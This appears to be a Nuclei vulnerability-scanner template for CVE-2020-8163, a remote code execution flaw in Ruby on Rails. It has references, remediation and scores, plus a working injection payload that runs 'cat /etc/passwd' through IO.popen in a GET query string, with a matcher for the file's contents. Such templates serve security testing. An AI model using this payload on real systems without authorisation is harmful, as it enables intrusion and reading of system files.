46 lines
1.4 KiB
YAML
46 lines
1.4 KiB
YAML
id: CVE-2020-8163
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info:
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name: Ruby on Rails <5.0.1 - Remote Code Execution
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author: tim_koopmans
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severity: high
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description: Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.
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remediation: |
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Upgrade Ruby on Rails to version 5.0.1 or above.
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reference:
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- https://hackerone.com/reports/304805
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- https://groups.google.com/g/rubyonrails-security/c/hWuKcHyoKh0
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- https://lists.debian.org/debian-lts-announce/2020/07/msg00013.html
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- https://nvd.nist.gov/vuln/detail/CVE-2020-8163
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2020-8163
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cwe-id: CWE-94
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epss-score: 0.96793
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epss-percentile: 0.9956
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cpe: cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: rubyonrails
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product: rails
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tags: cve,cve2020,rails,rce,hackerone
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http:
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- method: GET
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path:
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- "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"
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matchers-condition: and
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matchers:
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- type: regex
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part: body
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regex:
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- "root:.*:0:0:"
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- type: status
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status:
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- 200
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# digest: 4b0a0048304602210090a1b24d0d3f74045a839e927b9cb7a2804e05abaa9c6f808c055c70f38757b3022100b8e185ac09c38cce5081db7cb4fef6eeee8fb0640f3f0854c03e1a904e317844:922c64590222798bb761d5b6d8e72950
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